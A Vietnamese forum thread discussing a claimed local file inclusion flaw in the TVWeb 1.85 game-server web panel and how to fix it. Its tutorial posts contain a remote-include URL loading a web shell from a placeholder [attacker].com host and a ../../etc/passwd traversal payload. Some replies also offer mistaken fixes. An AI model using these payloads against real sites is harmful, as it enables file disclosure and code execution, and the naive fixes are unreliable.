View Full Version : Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85
thecong
22-07-11, 01:28 PM
Lỗi ở file server/log/index.php
Lỗi file local inclusion
2- Include local file:
Loại này cũng gần giống như include remote file. Nhưng nó khác ở chổ: biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.
Vd: Một file bị lỗi include local file có dạng như sau:
---------BEGIN of test3.php-------
CODE <?php
include(“/home/$file”);
[…]
?>
----------END of test3.php---------
Xin chú ý là biến $file chưa được khai báo.
Nếu ta dùng:
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b> (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>) (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>).[target].com/test3.php?file=<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>[attacker].com/remview.php
Thì trong code của file test3.php sẽ trở thành như sau:
---------BEGIN of test3.php-------
CODE <?php
include(“/home/<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>[attacker].com/remview.php”);
[…]
?>
----------END of test3.php---------
Một đường dẫn vô nghĩa. Do đó ta không thể include được file ta muốn.
Bấy giờ ta chỉ có thể sử dụng cách sau:
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b> (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>) (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>).[target].com/test3.php?file=../../../../../../../../etc/passwd
Link trên đã khai báo biến $file với giá trị là: “../../../../../../../../etc/passwd”. Lúc này code của file test3.php có dạng:
---------BEGIN of test3.php-------
CODE <?php
include(“/home/../../../../../../../../etc/passwd”);
[…]
?>
----------END of test3.php---------
Các kí tự : “../../” đã giúp ta vượt qua các cấp thư mục trở về thư mục gốc”/” (đối với Linux) và sau đó là include file /etc/passwd. Thế là toàn bộ nội dung file passwd sẽ được hiển thị trên trình duyệt của attacker. Ta có thể thay thế /etc/passwd bằng bất cứ file nào ta muốn include (+xem). Xin chú ý: càng dùng nhiều kí tự “../” càng tốt vì nó sẽ đảm bảo đưa ta đến thư mục gốc.
II- Khắc phục:
Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
Nếu sản phẩm bạn code chưa mắc lỗi hay đã này thì tôi xin khuyên bạn vài điều để hạn chế việc mắc phải lỗi này.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).
+ Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối như ở Vd 2. Nên khai báo trực tiếp biến đó.
Edward_Newgate
22-07-11, 01:38 PM
Ây za anh em gà mà bác cứ úp mở
Nói toẹt ra xem nào :)
mrrainnt
22-07-11, 01:45 PM
:-?! Hình như kết nối được với Port của SQL là Port 443 hay sao ấy ??
thecong
22-07-11, 01:59 PM
Lỗi file inclussion là lỗi có thể điều khiển file từ xa ( nói nôm na là như thế)
lỗi cụ thể ở file server/log/index.php
PHP]
nguvadot
22-07-11, 02:07 PM
đổi tên thư mục server đi thì làm sao ? ,
thecong
22-07-11, 02:15 PM
đổi tên thư mục server đi thì làm sao ? ,
Ở đây tôi chỉ đưa ra lỗi để các bạn có hướng giải quyết, mỗi người có 1 cách khác nhau mà
chubelonton
22-07-11, 02:54 PM
đổi tên củng không có tác dụng!
thecong
22-07-11, 03:13 PM
đổi tên củng không có tác dụng!
Đã nêu ra lỗi kia rùi mà, tớ bổ sung thêm đầy đủ lun nhá các cậu vào đây để đọc về lỗi này chính xác nó là local file inclusion
có 2 loại lỗi liên qua đến file inclussion đó là 1 lỗi về remote include nữa, lỗi này FW bị nè, hồi trước đi nghịch mấy site Mu hoài dọa chơi ý mà
mrrainnt
22-07-11, 03:36 PM
@-)! Xóa code đi có được không nhỉ hay cũng không có tác dụng luôn
thecong
22-07-11, 03:37 PM
cái này fix thôi cần gì xóa.............................................. ...
mrrainnt
22-07-11, 03:38 PM
cái này fix thôi cần gì xóa.............................................. ...
:-?! Thay đổi code ở trên hả bạn ? thêm ký tự vào file .txt hay fix kiểu nào vậy ông ?
thecong
22-07-11, 03:44 PM
2- Include local file:
Loại này cũng gần giống như include remote file. Nhưng nó khác ở chổ: biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.
Vd: Một file bị lỗi include local file có dạng như sau:
---------BEGIN of test3.php-------
CODE <?php
include(“/home/$file”);
[…]
?>
----------END of test3.php---------
Xin chú ý là biến $file chưa được khai báo.
Nếu ta dùng:
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b> (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>).[target].com/test3.php?file=<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>[attacker].com/remview.php
Thì trong code của file test3.php sẽ trở thành như sau:
---------BEGIN of test3.php-------
CODE <?php
include(“/home/<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>[attacker].com/remview.php”);
[…]
?>
----------END of test3.php---------
Một đường dẫn vô nghĩa. Do đó ta không thể include được file ta muốn.
Bấy giờ ta chỉ có thể sử dụng cách sau:
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b> (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>).[target].com/test3.php?file=../../../../../../../../etc/passwd
Link trên đã khai báo biến $file với giá trị là: “../../../../../../../../etc/passwd”. Lúc này code của file test3.php có dạng:
---------BEGIN of test3.php-------
CODE <?php
include(“/home/../../../../../../../../etc/passwd”);
[…]
?>
----------END of test3.php---------
Các kí tự : “../../” đã giúp ta vượt qua các cấp thư mục trở về thư mục gốc”/” (đối với Linux) và sau đó là include file /etc/passwd. Thế là toàn bộ nội dung file passwd sẽ được hiển thị trên trình duyệt của attacker. Ta có thể thay thế /etc/passwd bằng bất cứ file nào ta muốn include (+xem). Xin chú ý: càng dùng nhiều kí tự “../” càng tốt vì nó sẽ đảm bảo đưa ta đến thư mục gốc.
II- Khắc phục:
Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
Nếu sản phẩm bạn code chưa mắc lỗi hay đã này thì tôi xin khuyên bạn vài điều để hạn chế việc mắc phải lỗi này.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).
+ Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối như ở Vd 2. Nên khai báo trực tiếp biến đó.
YeuVo_ThuongCon
22-07-11, 03:54 PM
Dây là lỗi do chủ quan
Ku Phương hay chủ quan một số vấn đề
Cái này chắc ku Phương biết rõ nhất
mrrainnt
22-07-11, 05:02 PM
:-? Theo bác là nên như thế nào hả bác
đặt nhiều dấu / / / / / vào code đó hay sao thế ông thecong ?
hoangtu_eck94
22-07-11, 08:30 PM
nếu là do lỗi ở file
server/log/index.php thì theo mình có thể đổi tên file đó đi cũng đc nhỉ? ^^
thecong
22-07-11, 08:36 PM
nếu là do lỗi ở file thì theo mình có thể đổi tên file đó đi cũng đc nhỉ? ^^
ừ hoặc có thể move nó đi chỗ khác, còn ai biết thì fix lỗi đó, lỗi đó đơn giản ý mà
Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).
hoangtu_eck94
22-07-11, 10:09 PM
ừ hoặc có thể move nó đi chỗ khác, còn ai biết thì fix lỗi đó, lỗi đó đơn giản ý mà
Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).
ừm. theo c là đơn giản và dễ vì c am hiểu về web. nhưng đối vs những ng gà về web thì đổi tên or move là đơn giản nhất. điển hình là t. :))
mrrainnt
22-07-11, 10:24 PM
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
thecong
22-07-11, 10:41 PM
Trời nói thế mà các cậu ko hiểu ý tớ chỉ cách fix à
nguyên nhân do 2 dòng này
$file_log = "modules/".$module.".txt";
action = $_GET['action'];if (isset($action)) { $file_log = "modules/".$action.".txt"; $fopen_data = fopen($file_log, "w+"); fclose($fopen_data);}
lỗi này sảy ra khi biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.
ở đây biến là cái $action trong lập trình php thì để khai biến thì người ta dùng cái $ten biến
ở đây biến $action bị giới bạn bởi 1 thư mục trước nó để khắc phục cách này
bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).
NhocCoi
22-07-11, 10:58 PM
Hay tốt lắm cu em, cố gắng lên, sắp tới vào đầu quân Cty anh :D
thecong
22-07-11, 11:03 PM
Hay tốt lắm cu em, cố gắng lên, sắp tới vào đầu quân Cty anh :D
Iem có biết gì đâu đầu quân vào thế nào được hixx hixx, iem chỉ biết vận dụng cái công cụ scan và cái lỗi này thì em đã đọc rùi nên nhìn cái là em biết ngay, + thêm cái google.com
mrrainnt
22-07-11, 11:28 PM
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
mrrainnt
22-07-11, 11:30 PM
$file_log = "modules/".$module.".txt";
action = $_GET['action'];if (isset($action)) { $file_log = "../modules/".$action.".txt"; $fopen_data = fopen($file_log, "w+"); fclose($fopen_data);}
Thêm ../ vào trước cái modules có phải không nhỉ thecong ?
thecong
22-07-11, 11:58 PM
$file_log = "modules/".$module.".txt";
action = $_GET['action'];if (isset($action)) { $file_log = "../modules/".$action.".txt"; $fopen_data = fopen($file_log, "w+"); fclose($fopen_data);}
Thêm ../ vào trước cái modules có phải không nhỉ thecong ?
làm như thế thì có khác gì cái cũ đâu vẫn là 1
có thể chỉ để trống cái đó cũng được
thecong
22-07-11, 11:59 PM
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
Ừm nếu có thì là bị chứ sao, he he he, chưa scan bản 1.75 nên chưa rõ nó còn phụ thuộc vào nhiều cái khác mới ra lỗi, nhưng chắc là 95% là dính
thecong
23-07-11, 12:00 AM
]Ừm nếu có thì là bị chứ sao, he he he, chưa scan bản 1.75 nên chưa rõ nó còn phụ thuộc vào nhiều cái khác mới ra lỗi, nhưng chắc là 95% là dính
mrrainnt
23-07-11, 12:05 AM
làm như thế thì có khác gì cái cũ đâu vẫn là 1
có thể chỉ để trống cái đó cũng được
à
tức là thêm càng nhiều folder vào càng tốt phải không ông ? $file_log = "../../../../../../modules/"../../.$module.".txt";
Phải như vậy không nhỉ
thecong
23-07-11, 12:10 AM
à
tức là thêm càng nhiều folder vào càng tốt phải không ông ? $file_log = "../../../../../../modules/"../../.$module.".txt";
Phải như vậy không nhỉ
thế thì cũng khác gì nhau thế nhiều dấu thế kia là về thư mục gốc lun tức là c:\ đấy
pm thecong_2009 tớ chỉ, có vẻ ít người quan tâm cái lỗi cự kỳ hot này nên chỉ cho cai có tâm huyết thôi
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
t (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>)hử xem sao :-?
mrrainnt
23-07-11, 03:04 AM
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
t (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>)hử xem sao :-?
Web bác có cái phần Cashshop đẹp nhỉ ^^! Bố Cục rõ ràng :D
ninhmca
24-07-11, 09:22 AM
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
t (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>)hử xem sao :-?
bác mr.quy oi.cho em xin yahoo của anh.em nhờ anh giúp tí.add nick yahoo em vào nha anh:kutjeu3tjeu_9x
tkssssssssssss
0935222300
24-07-11, 10:22 AM
bản của tôi xài ko có như của bạn.index hoàn toàn khác.chẳng qua là bản của các bạn TV nó cố tình chọt vô để chơi mấy tên thích xài hàng Crack thôi
YeuVo_ThuongCon
24-07-11, 09:53 PM
bản của tôi xài ko có như của bạn.index hoàn toàn khác.chẳng qua là bản của các bạn TV nó cố tình chọt vô để chơi mấy tên thích xài hàng Crack thôi
Không một cái gì là hoàn hảo cả
do con người viết ra tất nhiên là phải có lỗi ( không lỗi này thì lỗi khác ) chỉ có điều người phát hiện lỗi có nói hay ko thôi
Cũng như Servẻ hiện nay chúng ta đang sống chung với bugs , lỗi nhưng những lỗi đó chúng ta biết cách loại bỏ hoặc khắc phục nó
q.m3dia
25-07-11, 10:45 AM
Hồi trước tui xài 1.67 thấy ok ko vấn đề gì .
Edward_Newgate
25-07-11, 08:20 PM
<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>
t (<b><font color=red>[Chỉ có thành viên mới xem link được. <a href="register.php"> Nhấp đây để đăng ký thành viên......</a>]</font></b>)hử xem sao :-?
Web của bác đẹp thật đấy
Nhất là cái Cashshop
sunthah12
29-07-11, 03:15 PM
vậy Sủa sao Bạn ngai PM yahoo quá mà nói nuốn cho anh Em cùng chia Sẻ :P
LoveBol
30-07-11, 01:43 AM
Sao lại lỗi ở file đấy được nhỉ? Mình ko hiểu
LHB_LOVE
30-07-11, 08:36 PM
mà cuối cùng vẫn ko có hướng dẫn rõ ràng để fix lỗi này ^_^ !
mong là các pro nếu đã biết cách thì chỉ rõ để những người mới có thể tự fix đc :)
thecong
30-07-11, 09:11 PM
Hỏi các cao nhân thì trả lời như sau
- vì bác gọi ra là $file_log = "modules/".$module.".txt"; lên cũng ko lo gại vấn đề "include" file khác em ko bít à nha.
tốt nhất bác nên để như vầy $file_log = đường dẫn tuyệt đối; còn nếu có dùng include thì kiểm soát nó và hạn chế dùng thui vừa load lâu lại nguy cơ bác có thể dùng hàm file_get_contents nhất là file log vừa an toàn vừa kiểm soát được tình hình chức năng bác tìm hiểu tý nhé thằng hàm này nó ưu điểm là ko cho thực thi kể cả file php.
- cho chắc ăn thì bác cho cái allow_url_open=on và cái allow_url_include=off thêm register_global=off nữa mà để cẩn thận và đảm bảo thì cho luôn display_errors=off.
đấy em nghe mấy tiền bối bảo vậy thấy bảo RFI gì gì đó nguy hiểm lắm,
chubelonton
31-07-11, 12:40 AM
vậy người viết ra code như thế là cao nhân,hay la cao nhân ko quan tâm đến vấn đề này,thực sự cái nào là nan giải,bug là nan giải hay người nhìn thấy nó nan giải !^^^
DarklordMU
31-07-11, 01:28 AM
Mình là mem mới xin hãy chỉ dẫn tận tình 1 tý đi thecong :(! nhìn vào chẵng hiểu gì
sunthah12
31-07-11, 08:46 AM
up Vấn Không hiểu Thế Công Nói Ji :D
Mr.Noob
01-08-11, 07:32 AM
Cách fix dễ dàng nhất cho newbies là thay đổi tên thư mục chứa log ở Server.khi nào cần xem log thì change lại xem hoặc sữa luôn đường dẫn ở web :)
Thế thôi.Khỏi cho nó xem file log ý mà:)
SaoThaiBinh72
01-08-11, 07:58 AM
CHo mình hỏi tại sao khi thêm / vào lại vẫn bị nhỉ? Mình tưởng như thế sẽ lỗi và kẻ mà ai cũng biết đấy là ai không lấy được dữ liệu ở file đó chứ?
mrrainnt
02-08-11, 02:44 PM
Đặt Pass truy cập cho File Index.php thì thế nào nhỉ :-?! Có thể chống được không ?
anhday22
05-08-11, 01:12 PM
chỉ có tác dụng xoá file.Include ở đâu hả bạn
kunyeudung
20-08-11, 10:59 AM
Chẳng hiểu gì cả xóa hết thư mục log có bị mất thẻ không zị
loveistodie
21-08-11, 09:39 PM
mình chỉ thắc mắc tại sạo log của Mu lại k đặt pass nhỉ =>> vô tình chăng
LạiVănSâm
24-08-11, 10:07 PM
sử dụng auto nạp thẻ là xong ý mà
nhactre8x
24-08-11, 10:27 PM
hình thấy gúm wa đi =)) .
pikeman20
27-08-11, 07:42 AM
Cuối cùng không có hướng giải quyết!
pikeman20
27-08-11, 07:55 AM
Hỏi các cao nhân thì trả lời như sau
- vì bác gọi ra là $file_log = "modules/".$module.".txt"; lên cũng ko lo gại vấn đề "include" file khác em ko bít à nha.
tốt nhất bác nên để như vầy $file_log = đường dẫn tuyệt đối; còn nếu có dùng include thì kiểm soát nó và hạn chế dùng thui vừa load lâu lại nguy cơ bác có thể dùng hàm file_get_contents nhất là file log vừa an toàn vừa kiểm soát được tình hình chức năng bác tìm hiểu tý nhé thằng hàm này nó ưu điểm là ko cho thực thi kể cả file php.
Cái đường dẫn tuyệt đối của "modules/".$module.".txt" là ở đâu?
pikeman20
27-08-11, 08:41 AM
Tạo cái trang đăng nhập cho forder log đi
duyanh12285
25-11-11, 10:17 AM
sử dụng auto nạp thẻ là xong ý mà
auto nap thẻ ko phải là 100%
đôi lúc đánh seri và mã thẻ thì lỗi thệ thống thanh toán...
lúc đó báo ko nạp dc thẻ và thẻ vẫn đi
garllado
25-11-11, 11:28 AM
Đổi tên /server thành tên khác rồi làm sao nó vô đc? Đặt thêm cái code cho trước khi vào file /log/index.php
Mà em nhớ thẻ trong TVweb được lưu trong database của server mà đâu có lưu trong file log của web đâu?
Em xài có thấy tình trạng mất thẻ nào?
lastpr0
25-11-11, 03:33 PM
Theo mình thấy, TVweb 1.85 đâu bị lỗi này. Mình đang dùng đây.
Đúng thật, là TVWeb thiếu rule chổ $_GET cho file Server/log/index.php
Nhưng đây chưa phải là vấn đề, nếu dòm code, ta có thể thấy 1 dòng cứu vớt kia mà ?
Trích nội dung 2 dòng mà chủ topic đề cập đến.
Dòng
$module = $_GET['module'];
và
$action = $_GET['action'];
Thật sự, đây là sơ xót của coder khi không kiểm tra biến đầu vào cho giao thức $_GET mà cho gán luôn vào.
Nhưng chính dòng bên dưới của 2 dòng này đã chặn đc hành vi của các attacker rồi,
cùng xem
$file_log = "modules/".$module.".txt";
Ta thấy, cho dù attacker dùng dot slash hay 2dot slash cũng k thể vượt qua cái rule bé tí này đâu ạ.
tôi ví dụ, index.php?module=../../config.php, khi vào code, có thể dịch là:
$file_log = "modules/../../config.php.txt";
Thế thì xin lỗi attacker, lúc này dòng path này không còn ý nghĩa nữa.
@chủ topic: bạn đã thật sự test chưa ? Bỏ 1 file test.ini ở ngoài folder root, rồi dot dot slash cái path ra xem đọc đc ko?
Cộng thêm, file log/index.php này không hề dùng hàm include, mà ở đây là fopen, cái mà chủ topic nói có lẽ nằm ở trang home của TVweb, nhưng ở home thì đã rule rồi :D
Nếu các bạn vẫn không yên tâm, thì có thể làm theo cách sau đây:
Mở file Server/log/index.php
Tìm
$module = $_GET['module'];
Sửa dòng đó lại thành
if(preg_match('/^[A-Za-z0-9_]*$/', $_GET[module])) { $module = $_GET['module'];} else { $module = ''; }
Tương tự với dòng
$action = $_GET['action'];
Thành
if(preg_match('/^[A-Za-z0-9_]*$/', $_GET[action])) { $action = $_GET['action'];} else { $action = ''; }
Vài lời mạo muội, nếu có hiểu sai ý xin thông cảm :)
Powered by vBulletin® Version 4.2.0 Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.